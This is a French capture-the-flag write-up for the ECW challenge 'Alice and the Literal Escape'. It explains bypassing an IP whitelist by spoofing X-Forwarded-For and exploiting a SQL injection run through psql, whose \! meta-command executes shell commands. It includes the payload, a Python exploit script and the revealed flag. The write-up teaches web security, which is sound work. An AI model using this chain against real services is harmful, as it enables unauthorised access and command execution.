Alice and the Literal Escape
Flag: ECW{st4rlit_carg0_manif3st}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Accès au site
Première chose à remarquer dans le fichier src.py donné : on ne peut pas accèder au site si notre IP est différente de 127.0.0.1.
TRUSTED_IPS = ["127.0.0.1"]
app = FastAPI()
config = SecurityConfig(
whitelist=TRUSTED_IPS,
blacklist=[],
)Pour contourner ça, on va utiliser l'entête X-Forwarded-For pour que le proxy remplace notre IP par celle qu'on lui donne. Ca fera croire au serveur web qu'on est trust
X-Forwarded-For: 127.0.0.1Injection SQL
On continue l'exploration de src.py , à la ligne 28 : on a une injection SQL très claire...
sql = f"INSERT INTO notes VALUES('"+note+"');"Analyse de psql
Le serveur lance les query SQL d'une manière assez particulière : il utilise psql. Il a la particularité d'avoir des méta commandes, permettant un tas de choses. Comme par exemple :

Exploitation
Bon, si on peut injecter la query, on peut y placer une meta commande qui exécute une commande shell... Ca tombe bien, on a une injection SQL !
Le payload est assez simple :
'): il faut d'abord sortir de l'INSERT\! cat flag.txt: puis ajouter la méta commande#: finalement, on commente le reste pour éviter les bugs.
Ce qui donne : '); \! cat flag.txt #
Et en python :
import requests
HOST = "challenges.challenge-ecw.eu"
PORT = 34928
URL = f"http://{HOST}:{PORT}"
headers = {"X-Forwarded-For": "127.0.0.1"}
data = {"note": r"'); \! cat flag.txt #"}
response = requests.post(f"{URL}/cargo/upload", data=data, headers=headers)
print(response.text)[...]
<pre class="mt-2 whitespace-pre-wrap break-all">{
"rc": 0,
"out": "ECW{st4rlit_carg0_manif3st}",
"err": "ERROR: relation \"notes\" does not exist\nLINE 1: INSERT INTO notes VALUES('');\n ^\n"
}</pre>
[...]Mis à jour
Ce contenu vous a-t-il été utile ?